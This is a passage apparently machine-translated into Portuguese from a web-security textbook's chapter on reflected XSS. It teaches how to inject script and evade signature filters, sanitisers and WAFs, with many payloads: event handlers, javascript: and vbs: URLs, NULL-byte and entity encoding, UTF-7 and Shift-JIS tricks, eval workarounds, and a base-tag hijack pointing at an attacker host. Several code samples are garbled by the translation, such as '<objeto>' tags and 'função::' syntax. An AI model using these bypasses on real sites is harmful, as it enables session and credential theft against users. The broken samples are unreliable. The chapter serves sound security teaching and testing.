Aqui, a entrada que você controla está sendo inserida diretamente em uma string entre aspas dentro de um script existente. Para criar uma exploração, você poderia encerrar as aspas simples em torno da string, encerrar a instrução com um ponto e vírgula e, em seguida, prosseguir diretamente para o JavaScript desejado:

```
'; alert(1); var foo='
```

Observe que, como você encerrou uma cadeia de caracteres entre aspas, para evitar a ocorrência de erros no interpretador de JavaScript, é necessário garantir que o script continue graciosamente com a sintaxe válida após o código injetado. Neste exemplo, a variável `foo` é declarada e uma segunda string entre aspas é aberta. Ela será encerrada pelo código que segue imediatamente sua string. Outro método que costuma ser eficaz é terminar sua entrada com `//` para comentar o restante da linha.

Exemplo 3: Um atributo que contém um URL

Suponha que a página retornada contenha o seguinte:

```
<a href="myxsstestdmqlwp">Clique aqui ...</a>
```

Aqui, a cadeia de caracteres que você controla está sendo inserida no atributo `href` de uma tag `<a>`. Nesse contexto, e em muitos outros em que os atributos podem conter URLs, você pode usar o protocolo `javascript:` para introduzir o script diretamente no atributo URL:

```
javascript:alert(1);
```

Como sua entrada está sendo refletida em um atributo de tag, você também pode injetar um manipulador de eventos, conforme já descrito.

Para um ataque que funcione contra todos os navegadores atuais, você pode usar um nome de imagem inválido junto com um manipulador de eventos `onclick`:

```
#"onclick="javascript:alert(1)
```

DICA Assim como em outros ataques, certifique-se de codificar no URL todos os caracteres especiais que tenham importância na solicitação, inclusive **& = + ;** e espaço.

ETAPAS DO HACK

Faça o seguinte para cada entrada afetada identificada nas etapas anteriores:

1. Revise a fonte HTML para identificar o(s) local(is) em que sua string exclusiva está sendo refletida.
2. Se a string aparecer mais de uma vez, cada ocorrência deverá ser tratada como uma vulnerabilidade potencial separada e investigada individualmente.
3. Determine, a partir do local no HTML da string controlável pelo usuário, como você precisa modificá-la para causar a execução de um script arbitrário. Normalmente, vários métodos diferentes serão veículos em potencial para um ataque, conforme descrito mais adiante neste capítulo.
4. Teste sua exploração enviando-a ao aplicativo. Se a string criada ainda for retornada sem modificações, o aplicativo está vulnerável. Verifique novamente se a sintaxe está correta usando um script de prova de conceito para exibir uma caixa de diálogo de alerta e confirme se ela realmente aparece no navegador quando a resposta é renderizada.

Sondagem de filtros defensivos

Muitas vezes, você descobrirá que o servidor modifica as tentativas iniciais de exploração de alguma forma, para que elas não consigam executar o script injetado.

Se isso acontecer, não desista! Sua próxima tarefa é determinar qual processamento no lado do servidor está ocorrendo e que está afetando sua entrada. Há três possibilidades amplas:

- O aplicativo (ou um firewall de aplicativo da Web que protege o aplicativo) identificou uma assinatura de ataque e bloqueou sua entrada.
- O aplicativo aceitou sua entrada, mas executou algum tipo de sanitização ou codificação na string de ataque.
- O aplicativo truncou sua string de ataque para um comprimento máximo fixo.

Examinaremos cada cenário individualmente e discutiremos várias maneiras de contornar os obstáculos apresentados pelo processamento do aplicativo.

Superando os filtros baseados em assinaturas

No primeiro tipo de filtro, o aplicativo normalmente responde à string de ataque com uma resposta totalmente diferente da resposta dada à string inofensiva. Por exemplo, ele pode responder com uma mensagem de erro, possivelmente até afirmando que um possível ataque XSS foi detectado, conforme mostrado na Figura 12-8.

Figura 12-8: Uma mensagem de erro gerada pelos filtros anti-XSS do ASP.NET

Se isso ocorrer, a próxima etapa é determinar quais caracteres ou expressões da sua entrada estão acionando o filtro. Uma abordagem eficaz é remover diferentes partes da cadeia de caracteres e verificar se a entrada ainda está sendo bloqueada. Normalmente, esse processo estabelece rapidamente que uma expressão específica, como `<script>`, está causando o bloqueio da solicitação. Em seguida, você precisa testar o filtro para determinar se há algum desvio.

Há tantas maneiras diferentes de introduzir código de script em páginas HTML que os filtros baseados em assinatura normalmente podem ser contornados. Você pode encontrar uma alternativa

Você pode usar a sintaxe ligeiramente malformada que os navegadores toleram. Esta seção examina os vários métodos diferentes de execução de scripts. Em seguida, descreve uma ampla gama de técnicas que podem ser usadas para contornar filtros comuns.

Maneiras de introduzir o código de script

É possível introduzir código de script em uma página HTML de quatro maneiras gerais. Examinaremos cada uma delas e daremos alguns exemplos incomuns de cada uma que podem ser bem-sucedidos em contornar os filtros de entrada baseados em assinatura.

OBSERVAÇÃO O suporte dos navegadores a diferentes sintaxes de HTML e script varia muito. O comportamento de cada navegador muda com frequência a cada nova versão. Qualquer guia "definitivo" sobre o comportamento de cada navegador pode, portanto, ficar rapidamente desatualizado. Entretanto, do ponto de vista da segurança, os aplicativos precisam se comportar de forma robusta em todas as versões atuais e recentes dos navegadores populares. Se um ataque XSS puder ser realizado usando apenas um navegador específico que é usado por apenas uma pequena porcentagem de usuários, isso ainda constitui uma vulnerabilidade que deve ser corrigida. Todos os exemplos apresentados neste capítulo funcionam em pelo menos um dos principais navegadores no momento em que foram escritos.

Para fins de referência, este capítulo foi escrito em março de 2011, e todos os ataques descritos funcionam em pelo menos um dos seguintes itens:

- Internet Explorer versão 8.0.7600.16385
- Firefox versão 3.6.15

Tags de script

Além de usar diretamente uma tag `<script>`, há várias maneiras de usar uma sintaxe um tanto complicada para envolver o uso da tag, anulando alguns filtros:

```
<object data="data:text/html,<script>alert(1)</script>">
<object data="data:text/html; base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<a href="data:text/html; base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
Clique aqui</a>
```

A cadeia de caracteres codificada em Base64 nos exemplos anteriores é:

```
<script>alert(1)</script>
```

Manipuladores de eventos

Diversos manipuladores de eventos podem ser usados com várias tags para fazer com que um script seja executado. A seguir, alguns exemplos pouco conhecidos que executam o script sem exigir nenhuma interação do usuário:

```
<xml onreadystatechange=alert(1)>
<style onreadystatechange=alert(1)>
<iframe onreadystatechange=alert(1)>
```

```
<objeto onerror=alert(1)>
<objeto type=image src=valid.gif onreadystatechange=alert(1)></objeto>
<img type=image src=valid.gif onreadystatechange=alert(1)>
<input type=image src=valid.gif onreadystatechange=alert(1)>
<isindex type=image src=valid.gif onreadystatechange=alert(1)>
<script onreadystatechange=alert(1)>
<bgsound onpropertychange=alert(1)>
<body onbeforeactivate=alert(1)>
<body onactivate=alert(1)>
<body onfocusin=alert(1)>
```

O HTML5 oferece uma grande variedade de novos vetores usando manipuladores de eventos. Isso inclui o uso do atributo `autofocus` para acionar automaticamente eventos que antes exigiam a interação do usuário:

```
<input autofocus onfocus=alert(1)>
<input onblur=alert(1) autofocus><input autofocus>
<body onscroll=alert(1)><br><br>...<br><input autofocus>
```

Ele permite manipuladores de eventos em tags de fechamento:

```
</a onmousemove=alert(1)>
```

Por fim, o HTML5 apresenta novas tags com manipuladores de eventos:

```
<video src=1 onerror=alert(1)>
<audio src=1 onerror=alert(1)>
```

Pseudoprotocolos de script

Os pseudoprotocolos de script podem ser usados em vários locais para executar o script em linha em um atributo que espera um URL. Aqui estão alguns exemplos:

```
<objeto data=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<embed src=javascript:alert(1)>
```

Embora o pseudoprotocolo `javascript` seja mais comumente apresentado como exemplo dessa técnica, você também pode usar o protocolo `vbs` nos navegadores do Internet Explorer, conforme descrito mais adiante neste capítulo.

Assim como acontece com os manipuladores de eventos, o HTML5 oferece algumas novas maneiras de usar pseudoprotocolos de script em ataques XSS:

```
<form id=test /><button form=test formaction=javascript:alert(1)>
<event-source src=javascript:alert(1)>
```

A nova tag `event-source` é de especial interesse quando se trata de filtros de entrada. Diferentemente das tags pré-HTML5, seu nome inclui um hífen, portanto, o uso dessa tag pode contornar os filtros legados baseados em regex que presumem que os nomes das tags podem conter apenas letras.

Estilos avaliados dinamicamente

Alguns navegadores suportam o uso de JavaScript em estilos CSS avaliados dinamicamente. O exemplo a seguir funciona no IE7 e em versões anteriores, e também em versões posteriores quando executado no modo de compatibilidade:

```
<x style=x:expression(alert(1))>
```

Versões posteriores do IE removeram o suporte à sintaxe anterior, com base no fato de que seu único uso na prática era em ataques XSS. Entretanto, em versões posteriores do IE, o seguinte pode ser usado para o mesmo efeito:

```
<x style=behavior:url(#default#time2) onbegin=alert(1)>
```

O navegador Firefox costumava permitir ataques baseados em CSS por meio da propriedade `moz-binding`, mas as restrições feitas a esse recurso significam que agora ele é menos útil na maioria dos cenários de XSS.

Ignorando filtros: HTML

As seções anteriores descreveram várias maneiras pelas quais o código de script pode ser executado em uma página HTML. Em muitos casos, você pode descobrir que os filtros baseados em assinatura podem ser derrotados simplesmente mudando para um método diferente e menos conhecido de execução de script. Se isso não funcionar, você precisará procurar maneiras de ofuscar seu ataque. Normalmente, você pode fazer isso introduzindo variações inesperadas na sintaxe que o filtro aceita e que o navegador tolera quando a entrada é retornada. Esta seção examina as maneiras pelas quais a sintaxe HTML pode ser ofuscada para derrotar filtros comuns. A seção seguinte aplica os mesmos princípios à sintaxe do JavaScript e do VBScript.

Os filtros baseados em assinaturas projetados para bloquear ataques XSS normalmente empregam expressões regulares ou outras técnicas para identificar os principais componentes HTML, como colchetes de tags, nomes de tags, nomes de atributos e valores de atributos. Por exemplo, um filtro pode tentar bloquear a entrada que contém HTML que usa nomes específicos de tags ou atributos conhecidos por permitir a introdução de scripts, ou pode tentar bloquear valores de atributos que começam com um pseudoprotocolo de script. Muitos desses filtros podem ser contornados com a colocação de caracteres incomuns em pontos-chave do HTML, de forma que um ou mais navegadores tolerem.

Para ver essa técnica em ação, considere o seguinte exploit simples:

```
<img onerror=alert(1) src=a>
```

Você pode modificar essa sintaxe de várias maneiras e ainda assim fazer com que seu código seja executado em pelo menos um navegador. Examinaremos cada uma delas individualmente. Na prática, talvez seja necessário combinar várias dessas técnicas em um único exploit para contornar filtros de entrada mais sofisticados.

O nome da etiqueta

Começando pelo nome da tag de abertura, os filtros mais simples e ingênuos podem ser contornados simplesmente variando o caso dos caracteres usados:

```
<iMg onerror=alert(1) src=a>
```

Além disso, você pode inserir bytes NULL em qualquer posição:

```
<[%00]img onerror=alert(1) src=a>
<i[%00]mg onerror=alert(1) src=a>
```

(Nesses exemplos, `[%XX]` indica o caractere literal com o código ASCII hexadecimal *XX*. Ao enviar seu ataque ao aplicativo, geralmente você usaria a forma codificada de URL do caractere. Ao analisar a resposta do aplicativo, você precisa procurar o caractere literal decodificado que está sendo refletido).

DICA O truque do byte NULL funciona no Internet Explorer em qualquer parte da página HTML. O uso liberal de bytes NULL em ataques XSS geralmente oferece uma maneira rápida de contornar filtros baseados em assinaturas que não conhecem o comportamento do IE.

O uso de bytes NULL tem se mostrado historicamente eficaz contra firewalls de aplicativos da Web (WAFs) configurados para bloquear solicitações que contêm cadeias de ataque conhecidas. Como os WAFs geralmente são escritos em código nativo por motivos de desempenho, um byte NULL encerra a string em que aparece. Isso impede que o WAF veja a carga útil maliciosa que vem depois do NULL (consulte o Capítulo 16 para obter mais detalhes).

Além dos nomes das tags, se você modificar um pouco o exemplo, poderá usar nomes de tags arbitrários para introduzir manipuladores de eventos, ignorando assim os filtros que apenas bloqueiam tags nomeadas específicas:

```
<x onclick=alert(1) src=a>Clique aqui</x>
```

Em algumas situações, você poderá introduzir novas tags com vários nomes, mas não encontrará nenhum meio de usá-las para executar códigos diretamente. Nessas situações, você poderá realizar um ataque usando uma técnica conhecida como "sequestro de tag de base". A tag `<base>` é usada para especificar um URL que o navegador deve usar para resolver quaisquer URLs relativos que apareçam posteriormente na página. Se você puder introduzir uma nova tag `<base>` e a página executar qualquer inclusão de `<script>` após o seu ponto de reflexão usando URLs relativos, você poderá especificar um URL de base para um servidor que você controla. Quando o navegador carrega os scripts especificados no restante da página HTML, eles são carregados do servidor que você especificou, mas ainda são executados no contexto da página que os invocou. Por exemplo:

```
<base href="http://mdattacker.net/badscripts/">
...
<script src="goodscript.js"></script>
```

De acordo com as especificações, as tags `<base>` devem aparecer dentro do `<head>` da página HTML. No entanto, alguns navegadores, inclusive o Firefox, aceitam `<base>` que aparecem em qualquer lugar da página, ampliando consideravelmente o escopo desse ataque.

Espaço após o nome da etiqueta

Vários caracteres podem substituir o espaço entre o nome da tag e o nome do primeiro atributo:

```
<img/onerror=alert(1) src=a>
<img[%09]onerror=alert(1) src=a>
<img[%0d]onerror=alert(1) src=a>
<img[%0a]onerror=alert(1) src=a>
<img/"onerror=alert(1) src=a>
<img/'onerror=alert(1) src=a>
<img/anyjunk/onerror=alert(1) src=a>
```

Observe que, mesmo que um ataque não exija nenhum atributo de tag, você deve sempre tentar adicionar algum conteúdo supérfluo após o nome da tag, pois isso contorna alguns filtros simples:

```
<script/anyjunk>alert(1)</script>
```

Nomes de atributos

Dentro do nome do atributo, você pode usar o mesmo truque do byte NULL descrito anteriormente. Isso contorna muitos filtros simples que tentam bloquear manipuladores de eventos bloqueando nomes de atributos que começam com `on`:

```
<img o[%00]nerror=alert(1) src=a>
```

Delimitadores de atributos

No exemplo original, os valores dos atributos não eram delimitados, o que exigia algum espaço em branco após o valor do atributo para indicar que ele havia terminado antes que outro atributo pudesse ser introduzido. Os atributos podem, opcionalmente, ser delimitados com aspas duplas ou simples ou, no IE, com backticks:

```
<img onerror="alert(1) "src=a>
<img onerror='alert(1)'src=a>
<img onerror=`alert(1)`src=a>
```

A alternância dos atributos no exemplo anterior oferece uma maneira adicional de contornar alguns filtros que verificam os nomes de atributos que começam com `on`. Se o filtro não souber que os backticks funcionam como delimitadores de atributos, ele tratará o exemplo a seguir como contendo um único atributo, cujo nome não é o de um manipulador de eventos:

```
<img src=`a`onerror=alert(1)>
```

Ao combinar atributos delimitados por aspas com caracteres inesperados após o nome da tag, é possível criar ataques que não usam nenhum espaço em branco, contornando assim alguns filtros simples:

```
<img/onerror="alert(1) "src=a>
```

EXPERIMENTE!

```
http://mdsec.net/search/69/
http://mdsec.net/search/72/
http://mdsec.net/search/75/
```

Valores de atributos

Dentro dos próprios valores de atributos, você pode usar o truque do byte NULL e também pode codificar caracteres HTML dentro do valor:

```
<img onerror=a[%00]lert(1) src=a>
<img onerror=a&#x6c;ert(1) src=a>
```

Como o navegador decodifica em HTML o valor do atributo antes de processá-lo, você pode usar a codificação HTML para ofuscar o uso do código de script, evitando assim muitos filtros. Por exemplo, o ataque a seguir contorna muitos filtros que buscam bloquear o uso do manipulador de pseudoprotocolo JavaScript:

```
<iframe src=j&#x61;vasc&#x72ipt&#x3a;alert&#x28;1&#x29; >
```

Ao usar a codificação HTML, vale a pena observar que os navegadores toleram vários desvios das especificações, de maneiras que até mesmo os filtros que estão cientes dos problemas de codificação HTML podem ignorar. Você pode usar o formato decimal e hexadecimal, adicionar zeros à esquerda supérfluos e omitir o ponto e vírgula final. Todos os exemplos a seguir funcionam em pelo menos um navegador:

```
<img onerror=a&#x06c;ert(1) src=a>
<img onerror=a&#x006c;ert(1) src=a>
<img onerror=a&#x0006c;ert(1) src=a>
<img onerror=a&#108;ert(1) src=a>
<img onerror=a&#0108;ert(1) src=a>
<img onerror=a&#108ert(1) src=a>
<img onerror=a&#0108ert(1) src=a>
```

Suportes de etiquetas

Em algumas situações, explorando o comportamento peculiar do aplicativo ou do navegador, é possível usar colchetes de tag inválidos e ainda fazer com que o navegador processe a tag da maneira exigida pelo ataque.

Alguns aplicativos executam uma decodificação de URL supérflua da entrada depois que seus filtros de entrada são aplicados, de modo que a seguinte entrada aparece em uma solicitação:

```
%253cimg%20onerror=alert(1)%20src=a%253e
```

é decodificado por URL pelo servidor de aplicativos e passado para o aplicativo como:

```
%3cimg onerror=alert(1) src=a%3e
```

que não contém nenhum colchete de tag e, portanto, não é bloqueado pelo filtro de entrada. No entanto, o aplicativo executa uma segunda decodificação de URL, de modo que a entrada se torna:

```
<img onerror=alert(1) src=a>
```

que é transmitido ao usuário, fazendo com que o ataque seja executado.

Conforme descrito no Capítulo 2, algo semelhante pode acontecer quando uma estrutura de aplicativo "traduz" caracteres Unicode incomuns em seus equivalentes ASCII mais próximos com base na semelhança de seus glifos ou fonética. Por exemplo, a entrada a seguir usa aspas de duplo ângulo Unicode (`%u00AB` e `%u00BB`) em vez de colchetes:

```
"img onerror=alert(1) src=a"
```

Os filtros de entrada do aplicativo podem permitir essa entrada porque ela não contém nenhum HTML problemático. No entanto, se a estrutura do aplicativo transformar as aspas em caracteres de tag no ponto em que a entrada for inserida em uma resposta, o ataque será bem-sucedido. Vários aplicativos foram considerados vulneráveis a esse tipo de ataque, que pode ser esquecido pelos desenvolvedores.

Alguns filtros de entrada identificam as tags HTML simplesmente fazendo a correspondência entre os colchetes angulares de abertura e fechamento, extraindo o conteúdo e comparando-o com uma lista negra de nomes de tags. Nessa situação, talvez você consiga contornar o filtro usando colchetes supérfluos, o que o navegador tolera:

```
<<script>alert(1);//<</script>
```

Em alguns casos, o comportamento inesperado dos analisadores de HTML dos navegadores pode ser aproveitado para realizar um ataque que contorna os filtros de entrada de um aplicativo. Por exemplo, o HTML a seguir, que usa a sintaxe ECMAScript para XML (E4X), não contém uma tag de script de abertura válida, mas, mesmo assim, executa o script incluído nas versões atuais do Firefox:

```
<script<{alert(1)}/></script>
```

DICA Em vários dos desvios de filtro descritos, o ataque resulta em HTML malformado, mas que, mesmo assim, é tolerado pelo navegador do cliente. Como vários sites bastante legítimos contêm HTML que não está estritamente de acordo com os padrões, os navegadores aceitam HTML que é desviado de todas as formas. Eles efetivamente corrigem os erros nos bastidores antes de a página ser renderizada. Muitas vezes, quando você está tentando ajustar um ataque em uma situação incomum, pode ser útil visualizar o HTML virtual que o navegador constrói a partir da resposta real do servidor. No Firefox, você pode usar a ferramenta WebDeveloper, que contém uma função View Generated Source que executa exatamente essa tarefa.

Conjuntos de caracteres

Em algumas situações, você pode empregar um meio eficaz de contornar muitos tipos de filtros, fazendo com que o aplicativo aceite uma codificação não padrão da carga útil do ataque. Os exemplos a seguir mostram algumas representações da string
`<script>alert(document.cookie)</script>` em conjuntos de caracteres alternativos:

UTF-7

```
+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-
```

US-ASCII

```
BC 73 63 72 69 70 74 BE 61 6C 65 72 74 28 64 6F ; ¼script¾alert(do
63 75 6D 65 6E 74 2E 63 6F 6F 6B 69 65 29 BC 2F ; cument.cookie)¼/
73 63 72 69 70 74 BE                            ; script¾
```

UTF-16

```
FF FE 3C 00 73 00 63 00 72 00 69 00 70 00 74 00 ; ÿþ<.s.c.r.i.p.t.
3E 00 61 00 6C 00 65 00 72 00 74 00 28 00 64 00 ; >.a.l.e.r.t.(.d.
6F 00 63 00 75 00 6D 00 65 00 6E 00 74 00 2E 00 ; o.c.u.m.e.n.t...
63 00 6F 00 6F 00 6B 00 69 00 65 00 29 00 3C 00 ; c.o.o.k.i.e.).<.
2F 00 73 00 63 00 72 00 69 00 70 00 74 00 3E 00 ; /.s.c.r.i.p.t.>.
```

Essas cadeias de caracteres codificadas contornam muitos filtros anti-XSS comuns. O desafio de realizar um ataque bem-sucedido é fazer com que o navegador interprete a resposta usando o conjunto de caracteres necessário. Se você controlar o cabeçalho HTTP `Content-Type` ou a metatag HTML correspondente, poderá usar um conjunto de caracteres não padrão para contornar os filtros do aplicativo e fazer com que o navegador interprete a carga útil da maneira que você deseja. Em alguns aplicativos, um parâmetro `charset` é realmente enviado em determinadas solicitações, permitindo que você defina diretamente o conjunto de caracteres usado na resposta do aplicativo.

Se o aplicativo usar, por padrão, um conjunto de caracteres de vários bytes, como Shift-JIS, isso poderá permitir que você contorne determinados filtros de entrada enviando caracteres que tenham significado especial no conjunto de caracteres que está sendo usado. Por exemplo, suponha que duas partes da entrada do usuário sejam retornadas na resposta do aplicativo:

```
<img src="image.gif" alt="[input1]" /> ... [input2]
```

Para `input1`, o aplicativo bloqueia a entrada que contém aspas para evitar que um invasor termine o atributo citado. Para `input2`, o aplicativo bloqueia a entrada que contém colchetes angulares para evitar que um invasor use qualquer tag HTML. Isso parece ser robusto, mas um invasor pode ser capaz de fornecer uma exploração usando as duas entradas a seguir:

```
input1: [%f0]
input2: "onload=alert(1);
```

No conjunto de caracteres Shift-JIS, vários valores de bytes brutos, inclusive `0xf0`, são usados para sinalizar um caractere de 2 bytes composto por esse byte e pelo byte seguinte. Assim, quando o navegador processa `input1`, as aspas que seguem o byte `0xf0` são interpretadas como parte de um caractere de 2 bytes e, portanto, não delimitam o valor do atributo. O analisador de HTML continua até chegar às aspas fornecidas em `input2`, que encerra o atributo, permitindo que o manipulador de eventos fornecido pelo invasor seja interpretado como um atributo de tag adicional:

```
<img src="image.gif" alt="? />  ... "onload=alert(1);
```

Quando explorações desse tipo foram identificadas no conjunto de caracteres multibyte UTF-8, amplamente utilizado, os fornecedores de navegadores responderam com uma correção que impedia o sucesso do ataque. No entanto, atualmente, o mesmo ataque ainda funciona em alguns navegadores contra vários outros conjuntos de caracteres multibyte menos usados, incluindo Shift-JIS, EUC-JP e BIG5.

Contornando filtros: Código de script

Em algumas situações, você encontrará uma maneira de manipular a entrada refletida para introduzir um contexto de script na resposta do aplicativo. Entretanto, vários outros obstáculos podem impedi-lo de executar o código necessário para realizar um ataque real. Os tipos de filtros que você pode encontrar aqui normalmente procuram bloquear o uso de determinadas palavras-chave e outras expressões do JavaScript. Eles também podem bloquear caracteres úteis, como aspas, colchetes e pontos.

Assim como na ofuscação de ataques usando HTML, você pode usar várias técnicas para modificar o código de script desejado para contornar os filtros de entrada comuns.

Uso do JavaScript Escaping

O JavaScript permite vários tipos de escape de caracteres, que podem ser usados para evitar a inclusão de expressões obrigatórias em sua forma literal.

Os escapes Unicode podem ser usados para representar caracteres em palavras-chave do JavaScript, permitindo que você contorne vários tipos de filtros:

```
<script>a\u006cert(1);</script>
```

Se você puder usar o comando `eval`, possivelmente usando a técnica anterior para escapar de alguns de seus caracteres, poderá executar outros comandos passando-os para o comando `eval` na forma de cadeia de caracteres. Isso permite

que você

usam várias técnicas de manipulação de strings para ocultar o comando que está sendo executado.

Nas cadeias de caracteres JavaScript, você pode usar escapes Unicode, hexadecimais e octal:

```
<script>eval('a\u006cert(1)');</script>
<script>eval('a\x6cert(1)');</script>
<script>eval('a\154ert(1)');</script>
```

Além disso, caracteres de escape supérfluos em cadeias de caracteres são ignorados:

```
<script>eval('a\l\ert\(1\)');</script>
```

Construção dinâmica de cadeias de caracteres

Você pode usar outras técnicas para construir cadeias de caracteres dinamicamente para usar em seus ataques:

```
<script>eval('al'+'ert(1)');</script>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41));</script>
<script>eval(atob('amF2YXNjcmlwdDphbGVydCgxKQ'));</script>
```

O exemplo final, que funciona no Firefox, permite que você decodifique um comando codificado em Base64 antes de passá-lo para o `eval`.

Alternativas para avaliação

Se não for possível fazer chamadas diretas ao comando `eval`, você tem outras maneiras de executar comandos em forma de cadeia de caracteres:

```
<script>'alert(1)'.replace(/.+/,eval)</script>
<script>função::['alert'](1)</script>
```

Alternativas aos pontos

Se o caractere de ponto estiver sendo bloqueado, você poderá usar outros métodos para realizar desreferências:

```
<script>alert(document['cookie'])</script>
<script>with(document)alert(cookie)</script>
```

Combinação de várias técnicas

As técnicas descritas até agora podem ser usadas em combinação para aplicar várias camadas de ofuscação ao seu ataque. Além disso, nos casos em que o JavaScript está sendo usado em um atributo de tag HTML (por meio de um manipulador de eventos, pseudoprotocolo de script ou estilo avaliado dinamicamente), é possível combinar essas técnicas com a codificação HTML. O navegador decodifica em HTML o valor do atributo de tag antes que o JavaScript contido nele seja interpretado. No exemplo a seguir, o caractere "e" em "alert" foi escapado usando o escape Unicode, e a barra invertida usada no escape Unicode foi codificada em HTML:

```
<img onerror=eval('al&#x5c;u0065rt(1)') src=a>
```

Obviamente, qualquer um dos outros caracteres dentro do valor do atributo `onerror` também poderia ser codificado em HTML para ocultar ainda mais o ataque:

```
<img onerror=&#x65;&#x76;&#x61;&#x6c;&#x28;&#x27;al&#x5c;u0065rt&#x28;1&
#x29;&#x27;&#x29; src=a>
```

Essa técnica permite que você ignore muitos filtros no código JavaScript, pois é possível evitar o uso de palavras-chave JavaScript ou outra sintaxe, como aspas, pontos e colchetes.

Usando o VBScript

Embora os exemplos comuns de explorações de XSS geralmente se concentrem em JavaScript, no Internet Explorer você também pode usar a linguagem VBScript. Ela tem uma sintaxe diferente e outras propriedades que podem ser aproveitadas para contornar muitos filtros de entrada que foram projetados apenas com JavaScript em mente.

Você pode introduzir o código VBScript de várias maneiras:

```
<script language=vbs>MsgBox 1</script>
<img onerror="vbs:MsgBox 1" src=a>
<img onerror=MsgBox+1 language=vbs src=a>
```

Em todos os casos, você pode usar `vbscript` em vez de `vbs` para especificar a linguagem. No último exemplo, observe o uso de `MsgBox+1` para evitar o uso de espaços em branco, evitando assim a necessidade de aspas ao redor do valor do atributo. Isso funciona porque
`+1` efetivamente adiciona o número `1` a nada, de modo que a expressão é avaliada como `1`, que é passada para a função `MsgBox`.

Vale ressaltar que, no VBScript, algumas funções podem ser chamadas sem colchetes, conforme mostrado nos exemplos anteriores. Isso pode permitir que você ignore alguns filtros que presumem que o código de script deve usar colchetes para acessar qualquer função. Além disso, diferentemente do JavaScript, a linguagem VBScript não diferencia maiúsculas de minúsculas, portanto, você pode usar caracteres maiúsculos e minúsculos em todas as palavras-chave e nomes de funções. Esse comportamento é mais útil quando a função do aplicativo que você está atacando modifica o caso da sua entrada, por exemplo, convertendo-a em maiúsculas. Embora isso possa ter sido feito por motivos de funcionalidade e não de segurança, pode frustrar explorações de XSS usando código JavaScript, que não consegue executar quando convertido em letras maiúsculas. Em contrapartida, as explorações que usam o VBScript ainda funcionam:

```
<SCRIPT LANGUAGE=VBS>MSGBOX 1</SCRIPT>
<IMG ONERROR="VBS:MSGBOX 1" SRC=A>
```

Combinação de VBScript e JavaScript

Para adicionar mais camadas de complexidade ao seu ataque e contornar alguns filtros, você pode chamar o VBScript a partir do JavaScript e vice-versa:

```
<script>execScript("MsgBox 1", "vbscript");</script>
```

```
<script language=vbs>execScript("alert(1)")</script>
```

Você pode até mesmo aninhar essas chamadas e alternar entre os idiomas conforme necessário:

```
<script>execScript('execScript "alert(1)", "javascript"',
"vbscript");</script>
```

Conforme mencionado, o VBScript não diferencia maiúsculas de minúsculas, o que permite executar códigos em contextos em que a entrada é convertida para maiúsculas. Se você realmente quiser chamar funções JavaScript nessas situações, poderá usar funções de manipulação de cadeia de caracteres no VBScript para construir um comando com o caso necessário e, em seguida, executá-lo usando JavaScript:

```
<SCRIPT LANGUAGE=VBS>EXECSCRIPT(LCASE("ALERT(1)"))) </SCRIPT>
<IMG ONERROR="VBS:EXECSCRIPT LCASE('ALERT(1)')" SRC=A>
```

Uso de scripts codificados

No Internet Explorer, você pode usar o algoritmo de codificação de script personalizado da Microsoft para ocultar o conteúdo dos scripts e possivelmente ignorar alguns filtros de entrada:

```
<img onerror="VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@" src=a>
<img language="JScript.Encode" onerror="#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@" src=a>
```

Essa codificação foi originalmente projetada para impedir que os usuários inspecionassem facilmente os scripts do lado do cliente visualizando o código-fonte da página HTML. Desde então, ela passou por engenharia reversa, e várias ferramentas e sites permitem decodificar scripts codificados. Você pode codificar seus próprios scripts para uso em ataques por meio do utilitário de linha de comando `srcenc` da Microsoft em versões mais antigas do Windows.

Vencendo a sanitização

De todos os obstáculos que você pode encontrar ao tentar explorar condições potenciais de XSS, os filtros de sanitização são provavelmente os mais comuns. Aqui, o aplicativo executa algum tipo de sanitização ou codificação em sua string de ataque que a torna inofensiva, impedindo-a de causar a execução de JavaScript. A manifestação mais comum de sanitização de dados ocorre quando o aplicativo codifica em HTML determinados caracteres-chave que são necessários para realizar um ataque (assim, `<` se torna `<` e `>` se torna `>`). Em outros casos, o aplicativo pode remover determinados caracteres ou expressões em uma tentativa de limpar o seu entrada de conteúdo malicioso.

Ao se deparar com essa defesa, a primeira etapa é determinar com precisão quais caracteres e expressões estão sendo sanitizados e se ainda é possível realizar um ataque sem empregar diretamente esses caracteres e expressões. Por exemplo, se os seus dados estiverem sendo inseridos diretamente em um script existente, talvez não seja necessário usar nenhum caractere de tag HTML. Ou, se o aplicativo estiver removendo as tags `<script>` da sua entrada, talvez seja possível

para usar uma tag diferente com um manipulador de eventos adequado. Aqui, você deve considerar todas as técnicas já discutidas para lidar com filtros baseados em assinatura, inclusive o uso de camadas de codificação, bytes NULL, sintaxe fora do padrão e código de script ofuscado. Modificando a sua entrada das várias maneiras descritas, você poderá criar um ataque que não contenha nenhum dos caracteres ou expressões que o filtro está higienizando e, portanto, contorná-lo com sucesso. Se parecer impossível realizar um ataque sem usar a entrada que está sendo higienizada, será necessário testar a eficácia do filtro de higienização para estabelecer se existem desvios.

Conforme descrito no Capítulo 2, vários erros aparecem com frequência na higienização de filtros. Algumas APIs de manipulação de cadeia de caracteres contêm métodos que substituem apenas a primeira instância de uma expressão correspondente e, às vezes, eles são facilmente confundidos com métodos que substituem todas as instâncias. Portanto, se `<script>` estiver sendo removido da sua entrada, tente o seguinte para verificar se todas as instâncias estão sendo removidas:

```
<script><script>alert(1)</script>
```

Nessa situação, você também deve verificar se a sanitização está sendo executada de forma recursiva:

```
<scr<script>ipt>alert(1)</script>
```

Além disso, se o filtro executar várias etapas de sanitização em sua entrada, você deve verificar se a ordem ou a interação entre elas pode ser explorada. Por exemplo, se o filtro remove `<script>` recursivamente e, em seguida, remove `<object>` recursivamente, o seguinte ataque pode ser bem-sucedido:

```
<scr<objeto>ipt>alert(1)</script>
```

Quando você está injetando em uma string entre aspas em um script existente, é comum descobrir que o aplicativo higieniza sua entrada colocando o caractere de barra invertida antes de qualquer caractere de aspas que você enviar. Isso faz com que as aspas escapem, impedindo que você termine a cadeia de caracteres e injete um script arbitrário. Nessa situação, você deve sempre verificar se o próprio caractere de barra invertida está sendo escapado. Caso contrário, é possível contornar um filtro simples. Por exemplo, se você controlar o valor `foo` em:

```
var a = 'foo';
```

você pode injetar:

```
foo\'; alert(1);//
```

